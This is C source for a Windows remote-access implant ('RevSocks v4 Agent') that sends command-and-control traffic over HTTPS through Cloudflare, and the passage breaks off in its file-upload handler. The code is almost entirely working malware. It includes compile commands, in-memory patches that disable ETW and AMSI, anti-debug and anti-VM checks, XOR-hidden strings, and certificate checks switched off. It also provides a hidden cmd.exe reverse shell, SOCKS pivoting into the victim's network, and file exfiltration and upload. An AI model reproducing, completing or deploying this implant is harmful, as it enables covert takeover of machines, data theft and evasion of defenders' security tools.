/*
 * RevSocks v4 Agent — Cloudflare HTTP tunnel variant
 *
 * Transport: WinInet HTTPS POST/GET through Cloudflare CDN
 * Auth: Per-build session ID + SHA256 proof registration
 * Polling: Adaptive delay (500ms base, backs off on empty, resets on data)
 * Commands: Full v4 set (CONNECT, DATA, CLOSE, SHELL, UPLOAD, DOWNLOAD)
 * Evasion: ETW bypass, AMSI bypass, anti-debug, anti-VM, XOR string encryption
 *
 * The CF bridge (cf_bridge.py) maintains a persistent TCP connection to the
 * main SOCKS server on localhost:443. This agent communicates with the bridge
 * via standard HTTPS requests that traverse Cloudflare's CDN.
 *
 * Compile (x86):
 *   i686-w64-mingw32-gcc -O2 -s -mwindows -nostartfiles -e WinMain \
 *       -fno-builtin -o agent_cf_x86.exe agent_cf.c \
 *       -lws2_32 -lwininet -lkernel32 -luser32
 *
 * Compile (x64):
 *   x86_64-w64-mingw32-gcc -O2 -s -mwindows -nostartfiles -e WinMain \
 *       -fno-builtin -o agent_cf.exe agent_cf.c \
 *       -lws2_32 -lwininet -lkernel32 -luser32
 */

#include <windows.h>
#include <winsock2.h>
#include <wininet.h>
#include <tlhelp32.h>
#include <stdint.h>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "wininet.lib")

/* =========================================================================
 * SECTION A: CRT Replacements
 * ========================================================================= */
#pragma function(memset)
void *memset(void *d, int c, size_t n) {
    unsigned char *p = (unsigned char*)d;
    while (n--) *p++ = (unsigned char)c;
    return d;
}
#pragma function(memcpy)
void *memcpy(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    while (n--) *dp++ = *sp++;
    return d;
}
#pragma function(memcmp)
int memcmp(const void *a, const void *b, size_t n) {
    const unsigned char *pa = (const unsigned char*)a;
    const unsigned char *pb = (const unsigned char*)b;
    while (n--) { if (*pa != *pb) return *pa - *pb; pa++; pb++; }
    return 0;
}
void *memmove(void *d, const void *s, size_t n) {
    unsigned char *dp = (unsigned char*)d;
    const unsigned char *sp = (const unsigned char*)s;
    if (dp < sp) { while (n--) *dp++ = *sp++; }
    else { dp += n; sp += n; while (n--) *--dp = *--sp; }
    return d;
}
size_t strlen(const char *s) { size_t n = 0; while (*s++) n++; return n; }

/* =========================================================================
 * SECTION B: Configuration
 * ========================================================================= */
#define STR_XOR_KEY 0x5A

#define RECONNECT_DELAY  5000
#define RECONNECT_JITTER 3000
#define MAX_STREAMS      128
#define BUF_SIZE         65536

/* Polling parameters */
#define POLL_BASE_MS     500
#define POLL_MAX_MS      5000
#define POLL_BACKOFF_MS  250

/* Command opcodes — v4 full set */
#define CMD_CONNECT      0x01
#define CMD_DATA         0x02
#define CMD_CLOSE        0x03
#define CMD_CONNECT_OK   0x04
#define CMD_CONNECT_FAIL 0x05
#define CMD_HEARTBEAT    0x06
#define CMD_SLEEP        0x07
#define CMD_SHELL_OPEN   0x10
#define CMD_SHELL_DATA   0x11
#define CMD_SHELL_CLOSE  0x12
#define CMD_DOWNLOAD     0x20
#define CMD_DOWNLOAD_DATA 0x21
#define CMD_DOWNLOAD_END 0x22
#define CMD_DOWNLOAD_ERR 0x23
#define CMD_UPLOAD       0x30
#define CMD_UPLOAD_DATA  0x31
#define CMD_UPLOAD_END   0x32
#define CMD_UPLOAD_OK    0x33
#define CMD_UPLOAD_ERR   0x34

/* XOR-encrypted CF host: "CHANGEME_CFHOST" */
static unsigned char enc_cf_host[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x17,0x1f,0x05,0x19,0x1c,0x12,0x15,0x09,0x0e};
#define ENC_CF_HOST_LEN 15

/* XOR-encrypted shared secret: "CHANGE_THIS_SECRET_KEY_32_CHARX" */
static unsigned char enc_secret[] = {0x19,0x12,0x1b,0x14,0x1d,0x1f,0x05,0x0e,0x12,0x13,0x09,0x05,0x09,0x1f,0x19,0x08,0x1f,0x0e,0x05,0x11,0x1f,0x03,0x05,0x69,0x68,0x05,0x19,0x12,0x1b,0x08,0x02};
#define ENC_SECRET_LEN 31

/* Encrypted strings for evasion */
static unsigned char enc_ntdll_dll[]     = {0x34,0x2e,0x3e,0x36,0x36,0x74,0x3e,0x36,0x36};
static unsigned char enc_EtwEventWrite[] = {0x1f,0x2e,0x2d,0x1f,0x2c,0x3f,0x34,0x2e,0x0d,0x28,0x33,0x2e,0x3f};
static unsigned char enc_amsi_dll[]      = {0x3b,0x37,0x29,0x33,0x74,0x3e,0x36,0x36};
static unsigned char enc_AmsiScanBuffer[]= {0x1b,0x37,0x29,0x33,0x09,0x39,0x3b,0x34,0x18,0x2f,0x3c,0x3c,0x3f,0x28};
static unsigned char enc_cmd_exe[]       = {0x39,0x37,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_vmtoolsd_exe[]  = {0x2c,0x37,0x2e,0x35,0x35,0x36,0x29,0x3e,0x74,0x3f,0x22,0x3f};
static unsigned char enc_VBoxService_exe[]= {0x0c,0x18,0x35,0x22,0x09,0x3f,0x28,0x2c,0x33,0x39,0x3f,0x74,0x3f,0x22,0x3f};

static void decrypt_str(const unsigned char *enc, int len, char *out) {
    int i;
    for (i = 0; i < len; i++) out[i] = (char)(enc[i] ^ STR_XOR_KEY);
    out[len] = '\0';
}

/* =========================================================================
 * SECTION C: SHA-256
 * ========================================================================= */
typedef struct { uint32_t state[8]; uint64_t count; uint8_t buf[64]; } SHA256_CTX;
static const uint32_t K256[64] = {
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
};
#define RR(x,n) (((x)>>(n))|((x)<<(32-(n))))
static void sha256_transform(SHA256_CTX *ctx, const uint8_t *data) {
    uint32_t W[64],a,b,c,d,e,f,g,h,t1,t2; int i;
    for(i=0;i<16;i++) W[i]=(data[i*4]<<24)|(data[i*4+1]<<16)|(data[i*4+2]<<8)|data[i*4+3];
    for(i=16;i<64;i++) W[i]=((RR(W[i-2],17)^RR(W[i-2],19)^(W[i-2]>>10)))+W[i-7]+((RR(W[i-15],7)^RR(W[i-15],18)^(W[i-15]>>3)))+W[i-16];
    a=ctx->state[0];b=ctx->state[1];c=ctx->state[2];d=ctx->state[3];
    e=ctx->state[4];f=ctx->state[5];g=ctx->state[6];h=ctx->state[7];
    for(i=0;i<64;i++){t1=h+(RR(e,6)^RR(e,11)^RR(e,25))+((e&f)^((~e)&g))+K256[i]+W[i];t2=(RR(a,2)^RR(a,13)^RR(a,22))+((a&b)^(a&c)^(b&c));h=g;g=f;f=e;e=d+t1;d=c;c=b;b=a;a=t1+t2;}
    ctx->state[0]+=a;ctx->state[1]+=b;ctx->state[2]+=c;ctx->state[3]+=d;
    ctx->state[4]+=e;ctx->state[5]+=f;ctx->state[6]+=g;ctx->state[7]+=h;
}
static void sha256_init(SHA256_CTX *ctx){ctx->state[0]=0x6a09e667;ctx->state[1]=0xbb67ae85;ctx->state[2]=0x3c6ef372;ctx->state[3]=0xa54ff53a;ctx->state[4]=0x510e527f;ctx->state[5]=0x9b05688c;ctx->state[6]=0x1f83d9ab;ctx->state[7]=0x5be0cd19;ctx->count=0;}
static void sha256_update(SHA256_CTX *ctx,const uint8_t *data,size_t len){size_t i,idx=(size_t)(ctx->count%64);ctx->count+=len;for(i=0;i<len;i++){ctx->buf[idx++]=data[i];if(idx==64){sha256_transform(ctx,ctx->buf);idx=0;}}}
static void sha256_final(SHA256_CTX *ctx,uint8_t *hash){uint64_t bits=ctx->count*8;size_t idx=(size_t)(ctx->count%64);int i;ctx->buf[idx++]=0x80;if(idx>56){while(idx<64)ctx->buf[idx++]=0;sha256_transform(ctx,ctx->buf);idx=0;}while(idx<56)ctx->buf[idx++]=0;for(i=7;i>=0;i--)ctx->buf[56+(7-i)]=(uint8_t)((bits>>(i*8))&0xff);sha256_transform(ctx,ctx->buf);for(i=0;i<8;i++){hash[i*4]=(ctx->state[i]>>24)&0xff;hash[i*4+1]=(ctx->state[i]>>16)&0xff;hash[i*4+2]=(ctx->state[i]>>8)&0xff;hash[i*4+3]=ctx->state[i]&0xff;}}
static void sha256_hash(const uint8_t *d,size_t l,uint8_t *o){SHA256_CTX c;sha256_init(&c);sha256_update(&c,d,l);sha256_final(&c,o);}

/* =========================================================================
 * SECTION D: Session ID generation and HTTP transport
 * ========================================================================= */
static char g_session_id[33];
static char g_path[128];
static CRITICAL_SECTION g_lock;
static volatile DWORD g_sleep_seconds = 0;
static char g_cf_host[ENC_CF_HOST_LEN + 1];

static void gen_session_id(void) {
    DWORD tick = GetTickCount();
    DWORD pid = GetCurrentProcessId();
    FILETIME ft;
    uint8_t seed[20], hash[32];
    const char *hex = "0123456789abcdef";
    int i;

    GetSystemTimeAsFileTime(&ft);
    memcpy(seed, &tick, 4);
    memcpy(seed + 4, &pid, 4);
    memcpy(seed + 8, &ft, 8);
    /* Mix in stack address for extra entropy */
    {
        DWORD sp_val = (DWORD)(uintptr_t)&tick;
        memcpy(seed + 16, &sp_val, 4);
    }
    sha256_hash(seed, 20, hash);

    for (i = 0; i < 16; i++) {
        g_session_id[i*2]   = hex[hash[i] >> 4];
        g_session_id[i*2+1] = hex[hash[i] & 0xf];
    }
    g_session_id[32] = 0;
    wsprintfA(g_path, "/tunnel/%s", g_session_id);
}

/* HTTP POST: send data, optionally read response */
static int http_post(const uint8_t *data, int len, uint8_t *resp, int resp_max) {
    HINTERNET hI, hC, hR;
    DWORD sf, status, sz, br;
    int total;
    char hdrs[] = "Content-Type: application/octet-stream\r\n";

    hI = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                       INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hI) return -1;

    hC = InternetConnectA(hI, g_cf_host, INTERNET_DEFAULT_HTTPS_PORT,
                          NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hC) { InternetCloseHandle(hI); return -1; }

    hR = HttpOpenRequestA(hC, "POST", g_path, NULL, NULL, NULL,
        INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD |
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
    if (!hR) { InternetCloseHandle(hC); InternetCloseHandle(hI); return -1; }

    sf = 0x00003380; /* SECURITY_FLAG_IGNORE_* */
    InternetSetOptionA(hR, INTERNET_OPTION_SECURITY_FLAGS, &sf, sizeof(sf));

    if (!HttpSendRequestA(hR, hdrs, -1, (LPVOID)data, len)) {
        InternetCloseHandle(hR); InternetCloseHandle(hC); InternetCloseHandle(hI);
        return -1;
    }

    status = 0; sz = sizeof(status);
    HttpQueryInfoA(hR, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &sz, NULL);

    total = 0;
    if (resp && resp_max > 0) {
        while (InternetReadFile(hR, resp + total, resp_max - total, &br) && br > 0)
            total += (int)br;
    }

    InternetCloseHandle(hR);
    InternetCloseHandle(hC);
    InternetCloseHandle(hI);
    return (status == 200) ? total : -1;
}

/* HTTP GET: receive data from bridge */
static int http_get(uint8_t *resp, int resp_max) {
    HINTERNET hI, hC, hR;
    DWORD sf, status, sz, br;
    int total;

    hI = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                       INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hI) return -1;

    hC = InternetConnectA(hI, g_cf_host, INTERNET_DEFAULT_HTTPS_PORT,
                          NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
    if (!hC) { InternetCloseHandle(hI); return -1; }

    hR = HttpOpenRequestA(hC, "GET", g_path, NULL, NULL, NULL,
        INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD |
        INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0);
    if (!hR) { InternetCloseHandle(hC); InternetCloseHandle(hI); return -1; }

    sf = 0x00003380;
    InternetSetOptionA(hR, INTERNET_OPTION_SECURITY_FLAGS, &sf, sizeof(sf));

    if (!HttpSendRequestA(hR, NULL, 0, NULL, 0)) {
        InternetCloseHandle(hR); InternetCloseHandle(hC); InternetCloseHandle(hI);
        return -1;
    }

    status = 0; sz = sizeof(status);
    HttpQueryInfoA(hR, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &status, &sz, NULL);

    total = 0;
    while (InternetReadFile(hR, resp + total, resp_max - total, &br) && br > 0)
        total += (int)br;

    InternetCloseHandle(hR);
    InternetCloseHandle(hC);
    InternetCloseHandle(hI);

    if (status == 200) return total;
    if (status == 204) return 0;  /* No data available */
    return -1;
}

/* Thread-safe tunnel send via POST */
static int tunnel_send(const uint8_t *data, int len) {
    int r;
    EnterCriticalSection(&g_lock);
    r = http_post(data, len, NULL, 0);
    LeaveCriticalSection(&g_lock);
    return r;
}

/* Tunnel recv via GET */
static int tunnel_recv(uint8_t *buf, int max_len) {
    return http_get(buf, max_len);
}

/* =========================================================================
 * SECTION E: Evasion — ETW, AMSI, Anti-debug, Anti-VM
 * ========================================================================= */
static void patch_etw(void) {
    char ntdll_name[10];
    decrypt_str(enc_ntdll_dll, 9, ntdll_name);
    HMODULE ntdll = GetModuleHandleA(ntdll_name);
    memset(ntdll_name, 0, 10);
    if (!ntdll) return;

    char etw_name[14];
    decrypt_str(enc_EtwEventWrite, 13, etw_name);
    FARPROC etw = GetProcAddress(ntdll, etw_name);
    memset(etw_name, 0, 14);
    if (!etw) return;

    DWORD old;
#if defined(__x86_64__) || defined(_M_X64)
    unsigned char patch[] = {0x48, 0x33, 0xC0, 0xC3};
#else
    unsigned char patch[] = {0x33, 0xC0, 0xC2, 0x14, 0x00};
#endif
    VirtualProtect((LPVOID)etw, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy((void*)etw, patch, sizeof(patch));
    VirtualProtect((LPVOID)etw, sizeof(patch), old, &old);
}

static void patch_amsi(void) {
    char amsi_name[9];
    decrypt_str(enc_amsi_dll, 8, amsi_name);
    HMODULE amsi = LoadLibraryA(amsi_name);
    memset(amsi_name, 0, 9);
    if (!amsi) return;

    char func_name[15];
    decrypt_str(enc_AmsiScanBuffer, 14, func_name);
    FARPROC target = GetProcAddress(amsi, func_name);
    memset(func_name, 0, 15);
    if (!target) return;

    DWORD old;
#if defined(__x86_64__) || defined(_M_X64)
    unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3};
#else
    unsigned char patch[] = {0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00};
#endif
    VirtualProtect((LPVOID)target, sizeof(patch), PAGE_EXECUTE_READWRITE, &old);
    memcpy((void*)target, patch, sizeof(patch));
    VirtualProtect((LPVOID)target, sizeof(patch), old, &old);
}

static int check_debugger(void) {
    if (IsDebuggerPresent()) return 1;

    BOOL remote = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &remote);
    if (remote) return 1;

#if defined(__x86_64__) || defined(_M_X64)
    unsigned char bd = 0;
    __asm__ volatile ("movq %%gs:0x60, %%rax\n movb 0x2(%%rax), %0" : "=r"(bd) : : "rax");
    if (bd) return 1;
    unsigned int ng = 0;
    __asm__ volatile ("movq %%gs:0x60, %%rax\n movl 0xBC(%%rax), %0" : "=r"(ng) : : "rax");
    if (ng & 0x70) return 1;
#else
    unsigned char bd = 0;
    __asm__ volatile ("movl %%fs:0x30, %%eax\n movb 0x2(%%eax), %0" : "=r"(bd) : : "eax");
    if (bd) return 1;
    unsigned int ng = 0;
    __asm__ volatile ("movl %%fs:0x30, %%eax\n movl 0x68(%%eax), %0" : "=r"(ng) : : "eax");
    if (ng & 0x70) return 1;
#endif

    unsigned long long tsc1, tsc2;
    volatile int dummy = 0;
    int i;
    __asm__ volatile ("rdtsc" : "=A"(tsc1));
    for (i = 0; i < 1000; i++) dummy += i;
    __asm__ volatile ("rdtsc" : "=A"(tsc2));
    if ((tsc2 - tsc1) > 0x100000) return 1;

    return 0;
}

static int check_vm(void) {
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return 1;

    MEMORYSTATUSEX ms;
    memset(&ms, 0, sizeof(ms));
    ms.dwLength = sizeof(ms);
    if (GlobalMemoryStatusEx(&ms)) {
        if (ms.ullTotalPhys < (2ULL * 1024 * 1024 * 1024)) return 1;
    }

    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe;
        pe.dwSize = sizeof(pe);
        char vm1[13], vm2[15];
        decrypt_str(enc_vmtoolsd_exe, 12, vm1);
        decrypt_str(enc_VBoxService_exe, 14, vm2);

        if (Process32First(snap, &pe)) {
            do {
                char *name = pe.szExeFile;
                int nl = (int)strlen(name);
                int match1 = 1, match2 = 1, j;

                if (nl == 12) {
                    for (j = 0; j < 12; j++) {
                        char a = name[j], b = vm1[j];
                        if (a >= 'A' && a <= 'Z') a += 32;
                        if (b >= 'A' && b <= 'Z') b += 32;
                        if (a != b) { match1 = 0; break; }
                    }
                } else match1 = 0;

                if (nl == 14) {
                    for (j = 0; j < 14; j++) {
                        char a = name[j], b = vm2[j];
                        if (a >= 'A' && a <= 'Z') a += 32;
                        if (b >= 'A' && b <= 'Z') b += 32;
                        if (a != b) { match2 = 0; break; }
                    }
                } else match2 = 0;

                if (match1 || match2) {
                    memset(vm1, 0, 13); memset(vm2, 0, 15);
                    CloseHandle(snap);
                    return 1;
                }
            } while (Process32Next(snap, &pe));
        }
        memset(vm1, 0, 13); memset(vm2, 0, 15);
        CloseHandle(snap);
    }
    return 0;
}

/* =========================================================================
 * SECTION F: Send command over HTTP tunnel
 *
 * Wire format through bridge: [len:4][cmd:1][sid:4][data...]
 * The bridge forwards raw bytes to the TCP server.
 * ========================================================================= */
static void send_cmd(uint8_t cmd, uint32_t sid, uint8_t *data, int dlen) {
    int msg_len = 5 + dlen;
    int frame_len = 4 + msg_len;
    uint8_t *frame = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, frame_len);
    if (!frame) return;

    /* Length prefix */
    frame[0] = (msg_len >> 24) & 0xff;
    frame[1] = (msg_len >> 16) & 0xff;
    frame[2] = (msg_len >> 8)  & 0xff;
    frame[3] = msg_len & 0xff;

    /* Command header */
    frame[4] = cmd;
    frame[5] = (sid >> 24) & 0xff;
    frame[6] = (sid >> 16) & 0xff;
    frame[7] = (sid >> 8)  & 0xff;
    frame[8] = sid & 0xff;

    if (data && dlen > 0)
        memcpy(frame + 9, data, dlen);

    tunnel_send(frame, frame_len);
    HeapFree(GetProcessHeap(), 0, frame);
}

static int sendall_sock(SOCKET s, const char *buf, int len) {
    int sent = 0, r;
    while (sent < len) { r = send(s, buf+sent, len-sent, 0); if (r <= 0) return -1; sent += r; }
    return sent;
}

/* =========================================================================
 * SECTION G: Stream management
 * ========================================================================= */
typedef struct { uint32_t id; SOCKET sock; int active; } Stream;
static Stream streams[MAX_STREAMS];

typedef struct { uint32_t sid; uint8_t data[512]; int dlen; } ConnectArgs;

static DWORD WINAPI handle_connect_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    int i;

    if (args->dlen < 3) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    uint8_t alen = args->data[0];
    if (args->dlen < 1 + alen + 2) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    char host[256];
    memset(host, 0, 256);
    memcpy(host, args->data + 1, alen);
    uint16_t port = ((uint16_t)args->data[1+alen] << 8) | (uint16_t)args->data[2+alen];

    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    sa.sin_addr.s_addr = inet_addr(host);
    if (sa.sin_addr.s_addr == INADDR_NONE) {
        struct hostent *he = gethostbyname(host);
        if (!he) {
            send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
            HeapFree(GetProcessHeap(), 0, args);
            return 0;
        }
        memcpy(&sa.sin_addr, he->h_addr_list[0], 4);
    }

    SOCKET s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (s == INVALID_SOCKET) {
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }

    DWORD t = 5000;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&t, sizeof(t));
    if (connect(s, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
        closesocket(s);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    t = 0;
    setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, (char*)&t, sizeof(t));

    Stream *st = NULL;
    for (i = 0; i < MAX_STREAMS; i++) {
        if (!streams[i].active) {
            streams[i].id = sid; streams[i].sock = s; streams[i].active = 1;
            st = &streams[i]; break;
        }
    }
    if (!st) {
        closesocket(s);
        send_cmd(CMD_CONNECT_FAIL, sid, NULL, 0);
        HeapFree(GetProcessHeap(), 0, args);
        return 0;
    }
    send_cmd(CMD_CONNECT_OK, sid, NULL, 0);
    HeapFree(GetProcessHeap(), 0, args);

    uint8_t *buf = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, BUF_SIZE);
    if (!buf) { send_cmd(CMD_CLOSE, st->id, NULL, 0); st->active = 0; closesocket(st->sock); return 0; }
    while (st->active) {
        int r = recv(st->sock, (char*)buf, BUF_SIZE, 0);
        if (r <= 0) break;
        send_cmd(CMD_DATA, st->id, buf, r);
    }
    HeapFree(GetProcessHeap(), 0, buf);
    send_cmd(CMD_CLOSE, st->id, NULL, 0);
    st->active = 0;
    closesocket(st->sock);
    return 0;
}

/* =========================================================================
 * SECTION H: Shell support
 * ========================================================================= */
typedef struct {
    uint32_t sid;
    HANDLE hProcess;
    HANDLE hStdinWrite;
    HANDLE hStdoutRead;
    volatile int running;
} ShellCtx;

#define MAX_SHELLS 4
static ShellCtx g_shells[MAX_SHELLS];

static DWORD WINAPI shell_reader_thread(LPVOID p) {
    ShellCtx *ctx = (ShellCtx*)p;
    uint8_t buf[4096];
    DWORD nread, avail;
    while (ctx->running) {
        avail = 0;
        PeekNamedPipe(ctx->hStdoutRead, NULL, 0, NULL, &avail, NULL);
        if (avail > 0) {
            DWORD toread = avail > sizeof(buf) ? sizeof(buf) : avail;
            if (ReadFile(ctx->hStdoutRead, buf, toread, &nread, NULL) && nread > 0) {
                send_cmd(CMD_SHELL_DATA, ctx->sid, buf, (int)nread);
            } else break;
        } else {
            DWORD exitcode = 0;
            GetExitCodeProcess(ctx->hProcess, &exitcode);
            if (exitcode != STILL_ACTIVE) break;
            Sleep(50);
        }
    }
    ctx->running = 0;
    send_cmd(CMD_SHELL_CLOSE, ctx->sid, NULL, 0);
    return 0;
}

static void handle_shell_open(uint32_t sid) {
    ShellCtx *sc = NULL;
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (!g_shells[i].running && g_shells[i].hProcess == NULL) {
            sc = &g_shells[i]; break;
        }
    }
    if (!sc) { send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return; }

    SECURITY_ATTRIBUTES sa;
    sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL;
    HANDLE hStdinRead, hStdinWrite, hStdoutRead, hStdoutWrite;

    if (!CreatePipe(&hStdinRead, &hStdinWrite, &sa, 0)) {
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }
    if (!CreatePipe(&hStdoutRead, &hStdoutWrite, &sa, 0)) {
        CloseHandle(hStdinRead); CloseHandle(hStdinWrite);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }
    SetHandleInformation(hStdinWrite, HANDLE_FLAG_INHERIT, 0);
    SetHandleInformation(hStdoutRead, HANDLE_FLAG_INHERIT, 0);

    STARTUPINFOA si; PROCESS_INFORMATION pi;
    memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi));
    si.cb = sizeof(si);
    si.hStdInput = hStdinRead; si.hStdOutput = hStdoutWrite; si.hStdError = hStdoutWrite;
    si.dwFlags = STARTF_USESTDHANDLES;

    char cmd[8]; decrypt_str(enc_cmd_exe, 7, cmd);
    BOOL ok = CreateProcessA(NULL, cmd, NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
    memset(cmd, 0, 8);
    CloseHandle(hStdinRead); CloseHandle(hStdoutWrite);

    if (!ok) {
        CloseHandle(hStdinWrite); CloseHandle(hStdoutRead);
        send_cmd(CMD_SHELL_CLOSE, sid, NULL, 0); return;
    }
    CloseHandle(pi.hThread);

    sc->sid = sid; sc->hProcess = pi.hProcess;
    sc->hStdinWrite = hStdinWrite; sc->hStdoutRead = hStdoutRead;
    sc->running = 1;
    CreateThread(NULL, 0, shell_reader_thread, sc, 0, NULL);
}

static void handle_shell_data(uint32_t sid, uint8_t *data, int dlen) {
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].running && g_shells[i].sid == sid) {
            DWORD written;
            WriteFile(g_shells[i].hStdinWrite, data, dlen, &written, NULL);
            return;
        }
    }
}

static void handle_shell_close(uint32_t sid) {
    int i;
    for (i = 0; i < MAX_SHELLS; i++) {
        if (g_shells[i].sid == sid && (g_shells[i].running || g_shells[i].hProcess)) {
            g_shells[i].running = 0;
            if (g_shells[i].hProcess) { TerminateProcess(g_shells[i].hProcess, 0); CloseHandle(g_shells[i].hProcess); }
            if (g_shells[i].hStdinWrite) CloseHandle(g_shells[i].hStdinWrite);
            if (g_shells[i].hStdoutRead) CloseHandle(g_shells[i].hStdoutRead);
            memset(&g_shells[i], 0, sizeof(ShellCtx));
            return;
        }
    }
}

/* =========================================================================
 * SECTION I: File Transfer — DOWNLOAD / UPLOAD
 * ========================================================================= */
#define DL_CHUNK_SIZE 61440

static DWORD WINAPI handle_download_thread(LPVOID p) {
    ConnectArgs *args = (ConnectArgs*)p;
    uint32_t sid = args->sid;
    char filepath[512];
    memset(filepath, 0, sizeof(filepath));
    int pathlen = args->dlen > 510 ? 510 : args->dlen;
    memcpy(filepath, args->data, pathlen);
    HeapFree(GetProcessHeap(), 0, args);

    HANDLE hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, NULL,
                               OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0);
        return 0;
    }

    DWORD fsz_hi = 0, fsz_lo = GetFileSize(hFile, &fsz_hi);
    uint8_t szdata[8];
    szdata[0]=(uint8_t)fsz_lo; szdata[1]=(uint8_t)(fsz_lo>>8);
    szdata[2]=(uint8_t)(fsz_lo>>16); szdata[3]=(uint8_t)(fsz_lo>>24);
    szdata[4]=(uint8_t)fsz_hi; szdata[5]=(uint8_t)(fsz_hi>>8);
    szdata[6]=(uint8_t)(fsz_hi>>16); szdata[7]=(uint8_t)(fsz_hi>>24);
    send_cmd(CMD_DOWNLOAD_DATA, sid, szdata, 8);

    uint8_t *chunk = (uint8_t*)HeapAlloc(GetProcessHeap(), 0, DL_CHUNK_SIZE);
    if (!chunk) { send_cmd(CMD_DOWNLOAD_ERR, sid, NULL, 0); CloseHandle(hFile); return 0; }
    DWORD nread;
    while (ReadFile(hFile, chunk, DL_CHUNK_SIZE, &nread, NULL) && nread > 0)
        send_cmd(CMD_DOWNLOAD_DATA, sid, chunk, (int)nread);
    HeapFree(GetProcessHeap(), 0, chunk);
    CloseHandle(hFile);
    send_cmd(CMD_DOWNLOAD_END, sid, NULL, 0);
    return 0;
}

typedef struct { uint32_t sid; HANDLE hFile; int active; } UploadCtx;
#define MAX_UPLOADS 16
static UploadCtx g_uploads[MAX_UPLOADS];

static void handle_upload_start(uint32_t sid, uint8_t *data, int dlen) {
    char filepath[512];
    int i;
    memset(filepath, 0, sizeof(filepath));
    memcpy(filepath, data, dlen > 510 ? 510 : dlen);

    UploadCtx *uc = NULL;
    for (i = 0; i < MAX_UPLOADS; i++) {
        if (!g_uploads[i].active) { uc = &g_uploads[i]; break; }
    }
    if (!uc) { send_cmd(CMD_UPLOAD_ERR, sid, NULL, 0); return; }

    HANDLE hFile = CreateFileA(filepath, GENERIC_WRITE, 0, NULL,
                               CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
